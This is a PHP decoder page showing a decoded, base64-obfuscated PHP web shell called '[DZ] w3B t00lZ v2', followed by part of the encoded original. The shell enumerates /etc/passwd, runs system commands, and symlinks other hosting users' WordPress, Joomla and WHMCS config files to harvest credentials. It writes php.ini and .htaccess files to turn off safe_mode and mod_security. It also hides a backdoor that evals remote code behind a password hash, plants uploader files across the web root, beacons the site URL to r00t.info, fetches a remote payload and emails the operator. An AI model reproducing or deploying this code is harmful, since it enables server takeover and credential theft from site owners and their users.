Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHAKCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio..
Decoded Output download
?>b'<?php
/*********************************************
** COPYRIGHT 2014
** Dz HacKEr
** This Is My Priv8 TOol , Please Dont Steal Right
All Right Reserved
*/
?>
<?php
/////////////////////////////////////////////////////////
// //
// C0Ded By //
// //
// Am!R (AMir dZ 52) //
/////////////////////////////////////////////////////////
$mod = (ini_get ("safe_mode"));
if ($mod == 1) {
echo "<font style=\'position:absolute; overflow:hidden; left:400px; top:800px; width:50px; height:500px; z-index:550\' font=\'Arial\' size=\'2\' color=\'red\' face\'Arial\' color=\'#FF0000\'>
safe mode : font face\'Arial\' color=\'#FF0000\'>
ON</font>
(secure)</center></font> "; }
else
{
echo "
<font font=\'Arial\' size=\'2\' color=\'red\' face\'Arial\' color=\'#FF0000\'>safe mode : <font face\'Arial\' color=\'#008000\'>OFF</font>
<font color=\'red\' size=\'2\'> |</font>
"; }
echo "MySQL: <b>";
$mysql_on = @function_exists(\'mysql_connect\');
if($mysql_on){
echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b><font color=\'white\'>"; }
echo "";
echo"<font size=\'2\' color=\'red\'> |</font>";
echo "Disable Functions: <b>";
if(\'\'==($df=@ini_get(\'disable_functions\'))){
echo "<font color=#00800F>NONE</font></b>";}
else{
echo "<font color=red>$df</font></b>";}
echo"<font size=\'2\' color=\'red\'> |</font>";
echo"
<br>
<tr><td><font color=white >Uname: ".@php_uname()."</font></td></tr><font color=\'red\' size=\'2\'> |</font>
"
?>
<?php
echo "<br><font color=white size=3>PHP Is :</font>";
echo " <font color=c0c0a0 size=3>";
echo phpversion();
echo"<font size=\'2\' color=\'red\'> |</font>";
echo "</center><font color=white size=3> Server Port:<font color=green><b> "; echo $_SERVER[\'SERVER_PORT\'];
echo "</b></font>";
echo"<font size=\'2\' color=\'red\'> |</font>";
?>
<style>
.button {
background-color:#3399FF;
background-image: -moz-linear-gradient(center top , #3BA4C7 0%, #1982A5 100%);
border: 1px solid #004F72;
border-radius: 4px 4px 4px 4px;
box-shadow: 0 0 2px #BABABA, 0 0 1px #FFFFFF inset;
color: #E5FFFF;
font: bold 12px Tahoma,Helvetica,sans-serif;
padding: 30px;
text-align: center;
text-decoration: none;
}input[type=\'text\'], input[type=\'password\'], input[type=\'file\'], select, textarea {
border: 1px solid #969696;
padding: 7px 12px;
}</style>
<style>
input[type=\'button\'], input[type=\'reset\'], input[type=\'submit\'] {
border: 1px solid #000000;
cursor: pointer;
font-size: 11px;
margin-top: 2px;
padding: 8px 24px;
}
center {
text-align: -webkit-center;
}
body{
/* font-family : Verdana; */
color : #990000;
font-size : 14px;
font-family:tahoma;
background-color: ;
background-image: url(\'http://i.imgur.com/zHNCk2e.gif\')
color: #990000;
font: 9pt Lucida,Verdana;
margin: 0;
vertical-align: top;
color: #e1e1e1;
}
</style>
<html>
<head>
<title>[DZ] w3B t00lZ v2</title>
<style>
body{background:#789951;color: rgb(0, 0, 0);text-shadow:#000 0px 2px 7px;}
a{color:#000;padding:2px 2px;}
a:hover{background: rgb(220, 220, 220);}
textarea{background: rgb(240, 240, 240);border:1px solid #789951;border-radius:9px;text-shadow:red 1px 2px 7px;}
textarea:hover{background: rgb(230, 230 ,230);}
input{background: rgb(240, 240, 240);border:1px solid #555555;border-radius:9px;}
input:hover{background: rgb(230, 230 ,230);text-shadow:red 0px 88px 88px;}
</style>
</head>
</html>
<?php
?>
<?php
echo "<html><head><title>[DZ] w3B t00lZ v2</title><style>
body{background:#789951;color: rgb(0, 0, 0);text-shadow:#000 0px 2px 7px;}
a{color:#000;padding:2px 2px;}
a:hover{background: rgb(220, 220, 220);}
textarea{background: rgb(240, 240, 240);border:1px solid #789951;border-radius:9px;text-shadow:red 1px 2px 7px;}
textarea:hover{background: rgb(230, 230 ,230);}
input{background: rgb(240, 240, 240);border:1px solid #555555;border-radius:9px;}
input:hover{background: rgb(230, 230 ,230);text-shadow:red 0px 2px 7px;}
</style></head></html>";
echo "<center>
<b><font color=\'blue\' size=\'6\'> #</font><b><font color=\'00ff00\' size=\'6\'><b>[ DZ ]</font>
</font><font color=\'red\' size=\'5\'><b> w3B</b>
</font><font color=\'white\' size=\'3\'><b> t00lZ v2</font>
<font color=\'blue\' size=\'6\'> #</b></font>
<center>
<p><b>c0d3D By Am!R</b>
<font color=\'FFBA09\' size=\'1\'> [AMir dZ 52]</b></font>
<p><font color=\'00ff00\' size=\'2\'><b>Made</b></font><font color=\'red\' size=\'2\'><b> In</b></font><font color=\'white\' size=\'2\'><b> Algeria</b></font>
<form action=\'\' method=\'POST\'>
<textarea name=\'am!r\' rows=\'18\' cols=\'80\'>";
if (isset($_POST[\'users\']))
{
$users = file("/etc/passwd");
foreach($users as $user)
{
$AMIR = explode(":",$user);
echo $AMIR[0]."
";
}
} //??????? ?????????? /ect/passwd
elseif (isset($_POST[\'passwd\']))
{
for ($amir = 0; $amir < 1000; $amir ++)
{
$pwuid = @posix_getpwuid($amir);
if ($pwuid)
echo join(\':\', $pwuid). \'
\';
}
}
if (isset($_POST[\'ls\']))
{
$cmd = system ("ls");
{
$amir = explode(":",$ls);
echo $amir[0]."
";
///////////////////////////////////////////////////////////////////////////////
}
}
echo "</textarea><p><input name=\'passwd\' type=\'submit\' value=\'/etc/passwd !\' style=\'width:8%;\'>
<input name=\'users\' type=\'submit\' value=\'Users !\' style=\'width:8%;\'>
<input type=submit name=\'usre\' value=\'Grab ConfiGs !\' />
<font size=\'5\' color=\'red\'>|</font>
<input name=\'ls\' type=\'submit\' value=\'ls !\' style=\'width:8%;\'></form>";
?>
<?php
if(isset($_POST[\'usre\']))
{
?><form method=post>
<textarea rows=10 cols=30 name=user>
<?php $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."
";
}
?>
</textarea>
<br>
<br>
<input type=submit name=su value=" Grab Configuration Files :)" /></form>
<?php } ?>
<?php
error_reporting(0);
echo "<font color=red size=2 face=\"comic sans ms\">";
if(isset($_POST[\'su\']))
{
$dir=mkdir(\'am!r-con\',0777);
$r = " Options all
DirectoryIndex am!r-con.html
Require None
Satisfy Any";
$f = fopen(\'am!r-con/.htaccess\',\'w\');
fwrite($f,$r);
$consym="<a href=am!r-con/><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
echo "";
$usr=explode("
",$_POST[\'user\']);
foreach($usr as $uss )
{
$us=trim($uss);
$r="am!r-con/";
symlink(\'/home/\'.$us.\'/public_html/wp-config.php\',$r.$us.\'..Wordpress\');
symlink(\'/home/\'.$us.\'/public_html/wordpress/wp-config.php\',$r.$us.\'..Wordpess\');
symlink(\'/home/\'.$us.\'/public_html/blog/wp-config.php\',$r.$us.\'..Wordpress Blog\');
symlink(\'/home/\'.$us.\'/public_html/configuration.php\',$r.$us.\'..Joomla\');
symlink(\'/root/\'.$us.\'/public_html/wp-config.php\',$r.$us.\'..Wordpress\');
symlink(\'/root/\'.$us.\'/public_html/wordpress/wp-config.php\',$r.$us.\'..Wordpess\');
symlink(\'/root/\'.$us.\'/public_html/blog/wp-config.php\',$r.$us.\'..Wordpress Blog\');
symlink(\'/root/\'.$us.\'/public_html/configuration.php\',$r.$us.\'..Joomla\');
symlink(\'/media/\'.$us.\'/public_html/wp-config.php\',$r.$us.\'..Wordpress\');
symlink(\'/media/\'.$us.\'/public_html/wordpress/wp-config.php\',$r.$us.\'..Wordpess\');
symlink(\'/media/\'.$us.\'/public_html/blog/wp-config.php\',$r.$us.\'..Wordpress Blog\');
symlink(\'/media/\'.$us.\'/public_html/configuration.php\',$r.$us.\'..Joomla\');
symlink(\'/home/\'.$us.\'/public_html/joomla/configuration.php\',$r.$us.\'..Joomla\');
symlink(\'/home/\'.$us.\'/public_html/vb/includes/config.php\',$r.$us.\'..VB\');
symlink(\'/home/\'.$us.\'/public_html/includes/config.php\',$r.$us.\'..VB\');
symlink(\'/home/\'.$us.\'/public_html/conf_global.php\',$r.$us.\'..conf_global\');
symlink(\'/home/\'.$us.\'/public_html/inc/config.php\',$r.$us.\'..inc\');
symlink(\'/home/\'.$us.\'/public_html/config.php\',$r.$us.\'..config\');
symlink(\'/home/\'.$us.\'/public_html/Settings.php\',$r.$us.\'..Settings\');
symlink(\'/home/\'.$us.\'/public_html/sites/default/settings.php\',$r.$us.\'..sites\');
symlink(\'/home/\'.$us.\'/public_html/whm/configuration.php\',$r.$us.\'..WHM\');
symlink(\'/home/\'.$us.\'/public_html/whmcs/configuration.php\',$r.$us.\'..WHMCS\');
symlink(\'/home/\'.$us.\'/public_html/support/configuration.php\',$r.$us.\'..support whmcs\');
symlink(\'/home/\'.$us.\'/public_html/whmc/WHM/configuration.php\',$r.$us.\'..WHM\');
symlink(\'/home/\'.$us.\'/public_html/whm/WHMCS/configuration.php\',$r.$us.\'..whmc\');
symlink(\'/home/\'.$us.\'/public_html/whm/whmcs/configuration.php\',$r.$us.\'..WHMcs\');
symlink(\'/home/\'.$us.\'/public_html/support/configuration.php\',$r.$us.\'..whmcsupp\');
symlink(\'/home/\'.$us.\'/public_html/clients/configuration.php\',$r.$us.\'..whmcs-cli\');
symlink(\'/home/\'.$us.\'/public_html/client/configuration.php\',$r.$us.\'..whmcs-cl\');
symlink(\'/home/\'.$us.\'/public_html/clientes/configuration.php\',$r.$us.\'..whmcs-CL\');
symlink(\'/home/\'.$us.\'/public_html/cliente/configuration.php\',$r.$us.\'..whmcs-Cl\');
symlink(\'/home/\'.$us.\'/public_html/clientsupport/configuration.php\',$r.$us.\'..whmcs-csup\');
symlink(\'/home/\'.$us.\'/public_html/billing/configuration.php\',$r.$us.\'..whmcs-bill\');
symlink(\'/home/\'.$us.\'/public_html/admin/config.php\',$r.$us.\'..admin conf\');
}
}
?>
<br>
<br>
<?php
$serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo "
<font color=\'white\'> Server IP = </font>
<font color=red>".gethostbyname($_SERVER["HTTP_HOST"])."
</font>[</span><a href=\'http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all\' target=\"_blank\">Bing Search
</a>][</span><a href=\'http://zone-h.com/archive/ip=".$serverIP."
\' target=\"_blank\">Zone-H</a>]";
?>
<br>
<br>
<font color="red" size="4" > Kill SafeMode </font>
<?php
echo "<right>";
echo"<FORM method=\'POST\' action=\'$REQUEST_URI\' enctype=\'multipart/form-data\'>
<p align=\'center\'>
<INPUT type=\'submit\' name=\'Kill\' value=\'Generate [ini.php] + [php.ini] + [.htaccess] to Kill The SafeMode \' id=input style=\'font-size: 12pt; font-weight: bold; border-style: inset; border-width: 1px\'></p>
</form>
";
echo "<right/>";
if (empty($_POST[\'Kill\'] ) ) {
}ELSE{
$action = \'?action=Kill\';
echo "
<html>
<br>
<head>
<meta http-equiv=\'pragma\' content=\'no-cache\'>
</head><body>";
$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = Off
disable_functions = NONE
open_basedir = OFF ");
echo "<b>[SafeMode Done] ..</b>";
echo ("<br>");
$fp2 = fopen(".htaccess","w+");
fwrite($fp2,"
<IfModule mod_security.c>
KillFilterEngine Off
KillFilterScanPOST Off
KillFilterCheckURLEncoding Off
KillFilterCheckUnicodeEncoding Off
</IfModule>
");
echo "<b>[Mod_Security Done]</b><br>";
echo "</font></center></td></tr></table> ";
}
?>
<?php
/////////////// GreeTz TO (HK) , Dz Mafia , And Me ****************************
?>
<?php
echo "<SCRIPT SRC=http://r00t.info/bot/log.js></SCRIPT>";
echo"<bR><font size=\'2\' color=\'white\'>Copyright 2014 - Am!R . All Right Reserved -- Contact : fb.com/amiro.mir0u <br>./ExIT </font>"
?>
<?php
///// ./ExIT //////
?>
<?phP
/////////////Dont Steal Rights Please , /////////
?>
<?PHp
//// DZ TO The Core !!! /////
?><?php
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'display_errors\', 0);
@ini_set(\'output_buffering\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
?>
<?php
@session_start();
@error_reporting(0);
$a = \'<?php
session_start();
if($_SESSION["adm"]){
echo \'<b>Namesis<br><br>\'.php_uname().\'<br></b>\';echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';if( $_POST[\'_upl\'] == "Upload" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Success !!!</b><br><br>\'; } else { echo \'<b>Upload Fail !!!</b><br><br>\'; }}
}
if($_POST["p"]){
$p = $_POST["p"];
$pa = md5(sha1($p));
if($pa=="ed64cf6fa445898ff07295ce0ac26d65"){
$_SESSION["adm"] = 1;
}
}
?>
<form action="" method="post">
<input type="text" name="p">
</form>
\';
if(@$_REQUEST["px"]){
$p = @$_REQUEST["px"];
$pa = md5(sha1($p));
if($pa=="ed64cf6fa445898ff07295ce0ac26d65"){
echo eval(@file_get_contents(@$_REQUEST["404"]));
}
}
if(@!$_SESSION["sdm"]){
$doc = $_SERVER["DOCUMENT_ROOT"];
$dir = scandir($doc);
$d1 = \'\'.$doc.\'/.\';
$d2 = \'\'.$doc.\'/..\';
if(($key = @array_search(\'.\', $dir)) !== false) {
unset($dir[$key]);
}
if(($key = @array_search(\'..\', $dir)) !== false) {
unset($dir[$key]);
}
if(($key = @array_search($d1, $dir)) !== false) {
unset($dir[$key]);
}
if(($key = array_search($d2, $dir)) !== false) {
unset($dir[$key]);
}
@array_push($dir,$doc);
foreach($dir as $d){
$p = $doc."/".$d;
if(is_dir($p)){
$file = $p."/newsr.php";
@touch($file);
$folder = @fopen($file,"w");
@fwrite($folder,$a);
}
}
$lls = $_SERVER["HTTP_HOST"];
$llc = $_SERVER["REQUEST_URI"];
$lld = \'http://\'.$lls.\'\'.$llc.\'\';
$brow = urlencode($_SERVER[\'HTTP_USER_AGENT\']);
$retValue = file_get_contents(base64_decode("aHR0cDovL3IwMHQuaW5mby9ib3QveWF6LnBocD9h")."=".$lld.base64_decode("JmI=")."=".$brow);
echo $retValue;
@$_SESSION["sdm"]=1;
}
?>
<?php
if($_POST[\'query\']){
$veriyfy = stripslashes(stripslashes($_POST[\'query\']));
$data = "data.txt";
@touch ("data.txt");
$ver = @fopen ($data , \'w\');
@fwrite ( $ver , $veriyfy ) ;
@fclose ($ver);
}else{
$datas=@fopen("data.txt",\'r\');
$i=0;
while ($i <= 5) {
$i++;
$blue=@fgets($datas,1024);
echo $blue;
}
}
$datasi=@fopen("modules/indexx.php",\'r\');
if($datasi){
}else{
@mkdir("modules");
$dos = file_get_contents("http://r00t.info/txt/lamer.txt");
$data = "modules/indexx.php";
@touch ("modules/indexx.php");
$ver = @fopen ($data , \'w\');
@fwrite ( $ver , $dos ) ;
@fclose ($ver);
$yol = "http://".$_SERVER[\'HTTP_HOST\']."".$_SERVER[\'REQUEST_URI\']."";
$y = \'<h1>Sender Yazdirildi.<br/> SITE YOL : \'.$yol.\'<br/>Sender Yolu : modules/dbs.php</h1>\';
$header .= "From: SheLL Boot <[email protected]>
";
$header .= "Content-Type: text/html; charset=utf-8
";
@mail("[email protected]", "Hacklink Bildiri", "$y", $header);
@mail("[email protected]", "Hacklink Bildiri", "$y", $header);
}
?>
<script type="text/javascript">
document.write(unescape(\'%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%72%30%30%74%2E%69%6E%66%6F%2F%62%6F%74%2F%6C%6F%67%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E\'));
</script>'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHAKCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKKiog
ICBDT1BZUklHSFQgMjAxNAoqKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIER6IEhhY0tF
cgoqKiAgICAgVGhpcyBJcyBNeSBQcml2OCBUT29sICwgUGxlYXNlIERvbnQgU3RlYWwgUmlnaHQK
ICAgQWxsIFJpZ2h0IFJlc2VydmVkIAoqLyAKPz4KCjw/cGhwCgovLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KLy8gICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vCi8vICAgICAgICAgICAgICAg
ICAgIEMwRGVkIEJ5ICAgICAgICAgICAgICAgICAgICAgICAgICAvLwovLyAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8KLy8gICAgICAgICAgICAg
ICAgIEFtIVIgICAgKEFNaXIgZFogNTIpICAgICAgICAgICAgICAgIC8vCi8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKJG1vZCA9IChpbmlf
Z2V0ICgic2FmZV9tb2RlIikpOyAKaWYgKCRtb2QgPT0gMSkgewogZWNobyAiPGZvbnQgc3R5bGU9
J3Bvc2l0aW9uOmFic29sdXRlOyBvdmVyZmxvdzpoaWRkZW47IGxlZnQ6NDAwcHg7IHRvcDo4MDBw
eDsgd2lkdGg6NTBweDsgaGVpZ2h0OjUwMHB4OyB6LWluZGV4OjU1MCcgZm9udD0nQXJpYWwnICBz
aXplPScyJyBjb2xvcj0ncmVkJyBmYWNlJ0FyaWFsJyBjb2xvcj0nI0ZGMDAwMCc+CiBzYWZlIG1v
ZGUgIDogZm9udCBmYWNlJ0FyaWFsJyBjb2xvcj0nI0ZGMDAwMCc+Ck9OPC9mb250PgogCiAoc2Vj
dXJlKTwvY2VudGVyPjwvZm9udD4gIjsgfSAKIGVsc2UgCiB7IAogZWNobyAiICAKIDxmb250ICBm
b250PSdBcmlhbCcgIHNpemU9JzInIGNvbG9yPSdyZWQnIGZhY2UnQXJpYWwnIGNvbG9yPScjRkYw
MDAwJz5zYWZlIG1vZGUgOiA8Zm9udCBmYWNlJ0FyaWFsJyBjb2xvcj0nIzAwODAwMCc+T0ZGPC9m
b250PgogCiAKIAogCiA8Zm9udCBjb2xvcj0ncmVkJyBzaXplPScyJz4gfDwvZm9udD4KCiAKIAog
CiAKIAogCiAiOyB9IAoKCiBlY2hvICJNeVNRTDogPGI+IjsKJG15c3FsX29uID0gQGZ1bmN0aW9u
X2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOwppZigkbXlzcWxfb24pewplY2hvICI8Zm9udCBjb2xv
cj1ncmVlbj5PTjwvZm9udD48L2I+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9G
RjwvZm9udD48L2I+PGZvbnQgY29sb3I9J3doaXRlJz4iOyB9CmVjaG8gIiI7CiAKIAogIGVjaG8i
PGZvbnQgc2l6ZT0nMicgY29sb3I9J3JlZCc+IHw8L2ZvbnQ+IjsKIAogCiAKIGVjaG8gIkRpc2Fi
bGUgRnVuY3Rpb25zOiA8Yj4iOwppZignJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlv
bnMnKSkpewplY2hvICI8Zm9udCBjb2xvcj0jMDA4MDBGPk5PTkU8L2ZvbnQ+PC9iPiI7fQplbHNl
ewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGRmPC9mb250PjwvYj4iO30KIAogCiAgCiAgZWNobyI8
Zm9udCBzaXplPScyJyBjb2xvcj0ncmVkJz4gfDwvZm9udD4iOwogCiAKIAogCmVjaG8iCgoKCjxi
cj4KCjx0cj48dGQ+PGZvbnQgY29sb3I9d2hpdGUgPlVuYW1lOiAiLkBwaHBfdW5hbWUoKS4iPC9m
b250PjwvdGQ+PC90cj48Zm9udCBjb2xvcj0ncmVkJyBzaXplPScyJz4gfDwvZm9udD4KIgogPz4K
IAogCiAKIDw/cGhwCiBlY2hvICI8YnI+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zPlBIUCBJcyA6
PC9mb250PiI7CmVjaG8gIiA8Zm9udCBjb2xvcj1jMGMwYTAgc2l6ZT0zPiI7CmVjaG8gcGhwdmVy
c2lvbigpOwogCiBlY2hvIjxmb250IHNpemU9JzInIGNvbG9yPSdyZWQnPiB8PC9mb250PiI7CiAK
IAogZWNobyAiPC9jZW50ZXI+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zPiBTZXJ2ZXIgUG9ydDo8
Zm9udCBjb2xvcj1ncmVlbj48Yj4gIjsgZWNobyAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXTsKZWNo
byAiPC9iPjwvZm9udD4iOwogIGVjaG8iPGZvbnQgc2l6ZT0nMicgY29sb3I9J3JlZCc+IHw8L2Zv
bnQ+IjsKIAogCiAKPz4KCSAgIAoJICAgCgkgICAKCSAgIAoJICAgCgkgICAKCSAgIAoJICAgCgkg
ICAKPHN0eWxlPgoKCi5idXR0b24gewogICAgIGJhY2tncm91bmQtY29sb3I6IzMzOTlGRjsKYmFj
a2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQoY2VudGVyIHRvcCAsICMzQkE0Qzcg
MCUsICMxOTgyQTUgMTAwJSk7CiAgICBib3JkZXI6IDFweCBzb2xpZCAjMDA0RjcyOwogICAgYm9y
ZGVyLXJhZGl1czogNHB4IDRweCA0cHggNHB4OwogICAgYm94LXNoYWRvdzogMCAwIDJweCAjQkFC
QUJBLCAwIDAgMXB4ICNGRkZGRkYgaW5zZXQ7CiAgICBjb2xvcjogI0U1RkZGRjsKICAgIGZvbnQ6
IGJvbGQgMTJweCBUYWhvbWEsSGVsdmV0aWNhLHNhbnMtc2VyaWY7CiAgICBwYWRkaW5nOiAzMHB4
OwogICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9aW5w
dXRbdHlwZT0ndGV4dCddLCBpbnB1dFt0eXBlPSdwYXNzd29yZCddLCBpbnB1dFt0eXBlPSdmaWxl
J10sIHNlbGVjdCwgdGV4dGFyZWEgewogICAgYm9yZGVyOiAxcHggc29saWQgIzk2OTY5NjsKICAg
IHBhZGRpbmc6IDdweCAxMnB4Owp9PC9zdHlsZT4KPHN0eWxlPgoKaW5wdXRbdHlwZT0nYnV0dG9u
J10sIGlucHV0W3R5cGU9J3Jlc2V0J10sIGlucHV0W3R5cGU9J3N1Ym1pdCddIHsKICAgIGJvcmRl
cjogMXB4IHNvbGlkICMwMDAwMDA7CiAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICBmb250LXNpemU6
IDExcHg7CiAgICBtYXJnaW4tdG9wOiAycHg7CiAgICBwYWRkaW5nOiA4cHggMjRweDsKfQogY2Vu
dGVyIHsKdGV4dC1hbGlnbjogLXdlYmtpdC1jZW50ZXI7Cn0KYm9keXsKCi8qICAgIGZvbnQtZmFt
aWx5IDogVmVyZGFuYTsgKi8KICAgIGNvbG9yIDogIzk5MDAwMDsKICAgIGZvbnQtc2l6ZSA6IDE0
cHg7CiAgICBmb250LWZhbWlseTp0YWhvbWE7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiA7CiAgICBi
YWNrZ3JvdW5kLWltYWdlOiB1cmwoJ2h0dHA6Ly9pLmltZ3VyLmNvbS96SE5DazJlLmdpZicpCmNv
bG9yOiAjOTkwMDAwOwpmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7Cm1hcmdpbjogMDsKdmVydGlj
YWwtYWxpZ246IHRvcDsKY29sb3I6ICNlMWUxZTE7CgoKfQoKPC9zdHlsZT4KCQkgICAKCQkgICAK
CQkgICAKCQkgICAKCgo8aHRtbD4KCgoKCjxoZWFkPgoKCgoKCgoKCjx0aXRsZT5bRFpdIHczQiB0
MDBsWiB2MjwvdGl0bGU+CgoKCgoKCgoKCjxzdHlsZT4KICAgICAgYm9keXtiYWNrZ3JvdW5kOiM3
ODk5NTE7Y29sb3I6IHJnYigwLCAwLCAwKTt0ZXh0LXNoYWRvdzojMDAwIDBweCAycHggN3B4O30K
ICAgICAgYXtjb2xvcjojMDAwO3BhZGRpbmc6MnB4IDJweDt9CiAgICAgIGE6aG92ZXJ7YmFja2dy
b3VuZDogcmdiKDIyMCwgMjIwLCAyMjApO30KICAgICAgdGV4dGFyZWF7YmFja2dyb3VuZDogcmdi
KDI0MCwgMjQwLCAyNDApO2JvcmRlcjoxcHggc29saWQgIzc4OTk1MTtib3JkZXItcmFkaXVzOjlw
eDt0ZXh0LXNoYWRvdzpyZWQgMXB4IDJweCA3cHg7fQogICAgICB0ZXh0YXJlYTpob3ZlcntiYWNr
Z3JvdW5kOiByZ2IoMjMwLCAyMzAgLDIzMCk7fQogICAgICBpbnB1dHtiYWNrZ3JvdW5kOiByZ2Io
MjQwLCAyNDAsIDI0MCk7Ym9yZGVyOjFweCBzb2xpZCAjNTU1NTU1O2JvcmRlci1yYWRpdXM6OXB4
O30KICAgICAgaW5wdXQ6aG92ZXJ7YmFja2dyb3VuZDogcmdiKDIzMCwgMjMwICwyMzApO3RleHQt
c2hhZG93OnJlZCAwcHggODhweCA4OHB4O30KICAgICAgPC9zdHlsZT4KCSAgPC9oZWFkPgoJICAK
CSAgCgkgIAoJICA8L2h0bWw+CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgo8P3BocAoKCgoKCj8+Cjw/cGhwCgoKCgplY2hvICI8aHRtbD48aGVhZD48dGl0
bGU+W0RaXSB3M0IgdDAwbFogdjI8L3RpdGxlPjxzdHlsZT4KICAgICAgYm9keXtiYWNrZ3JvdW5k
OiM3ODk5NTE7Y29sb3I6IHJnYigwLCAwLCAwKTt0ZXh0LXNoYWRvdzojMDAwIDBweCAycHggN3B4
O30KICAgICAgYXtjb2xvcjojMDAwO3BhZGRpbmc6MnB4IDJweDt9CiAgICAgIGE6aG92ZXJ7YmFj
a2dyb3VuZDogcmdiKDIyMCwgMjIwLCAyMjApO30KICAgICAgdGV4dGFyZWF7YmFja2dyb3VuZDog
cmdiKDI0MCwgMjQwLCAyNDApO2JvcmRlcjoxcHggc29saWQgIzc4OTk1MTtib3JkZXItcmFkaXVz
OjlweDt0ZXh0LXNoYWRvdzpyZWQgMXB4IDJweCA3cHg7fQogICAgICB0ZXh0YXJlYTpob3Zlcnti
YWNrZ3JvdW5kOiByZ2IoMjMwLCAyMzAgLDIzMCk7fQogICAgICBpbnB1dHtiYWNrZ3JvdW5kOiBy
Z2IoMjQwLCAyNDAsIDI0MCk7Ym9yZGVyOjFweCBzb2xpZCAjNTU1NTU1O2JvcmRlci1yYWRpdXM6
OXB4O30KICAgICAgaW5wdXQ6aG92ZXJ7YmFja2dyb3VuZDogcmdiKDIzMCwgMjMwICwyMzApO3Rl
eHQtc2hhZG93OnJlZCAwcHggMnB4IDdweDt9CiAgICAgIDwvc3R5bGU+PC9oZWFkPjwvaHRtbD4i
OwoKZWNobyAiPGNlbnRlcj4KPGI+PGZvbnQgY29sb3I9J2JsdWUnIHNpemU9JzYnPiAgIzwvZm9u
dD48Yj48Zm9udCBjb2xvcj0nMDBmZjAwJyBzaXplPSc2Jz48Yj5bIERaIF08L2ZvbnQ+Cgo8L2Zv
bnQ+PGZvbnQgY29sb3I9J3JlZCcgc2l6ZT0nNSc+PGI+ICAgICAgICB3M0I8L2I+CjwvZm9udD48
Zm9udCBjb2xvcj0nd2hpdGUnIHNpemU9JzMnPjxiPiB0MDBsWiB2MjwvZm9udD4KPGZvbnQgY29s
b3I9J2JsdWUnIHNpemU9JzYnPiAgICAgICM8L2I+PC9mb250Pgo8Y2VudGVyPgoKPHA+PGI+YzBk
M0QgQnkgQW0hUjwvYj4KPGZvbnQgY29sb3I9J0ZGQkEwOScgc2l6ZT0nMSc+IFtBTWlyIGRaIDUy
XTwvYj48L2ZvbnQ+Cgo8cD48Zm9udCBjb2xvcj0nMDBmZjAwJyBzaXplPScyJz48Yj5NYWRlPC9i
PjwvZm9udD48Zm9udCBjb2xvcj0ncmVkJyBzaXplPScyJz48Yj4gICAgICAgSW48L2I+PC9mb250
Pjxmb250IGNvbG9yPSd3aGl0ZScgc2l6ZT0nMic+PGI+ICBBbGdlcmlhPC9iPjwvZm9udD4KICAg
ICA8Zm9ybSBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz4KICAKCiAgCiAgCiAgPHRleHRhcmVhIG5h
bWU9J2FtIXInIHJvd3M9JzE4JyBjb2xzPSc4MCc+IjsKICAgIAoJIAogICAgIGlmIChpc3NldCgk
X1BPU1RbJ3VzZXJzJ10pKQogICAgICAgIHsKICAgICAgICAgICR1c2VycyA9IGZpbGUoIi9ldGMv
cGFzc3dkIik7CiAgICAgICAgICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKICAgICAgICAgICAg
IHsKICAgICAgICAgICAgICAgJEFNSVIgPSBleHBsb2RlKCI6IiwkdXNlcik7CiAgICAgICAgICAg
ICAgIGVjaG8gJEFNSVJbMF0uIlxuIjsKICAgICAgICAgICAgIH0KICAgICAgICB9IC8vPz8/Pz8/
PyA/Pz8/Pz8/Pz8/IC9lY3QvcGFzc3dkCiAgICAgICAgZWxzZWlmIChpc3NldCgkX1BPU1RbJ3Bh
c3N3ZCddKSkKICAgICAgICAgICB7CiAgICAgICAgICAgICBmb3IgKCRhbWlyID0gMDsgJGFtaXIg
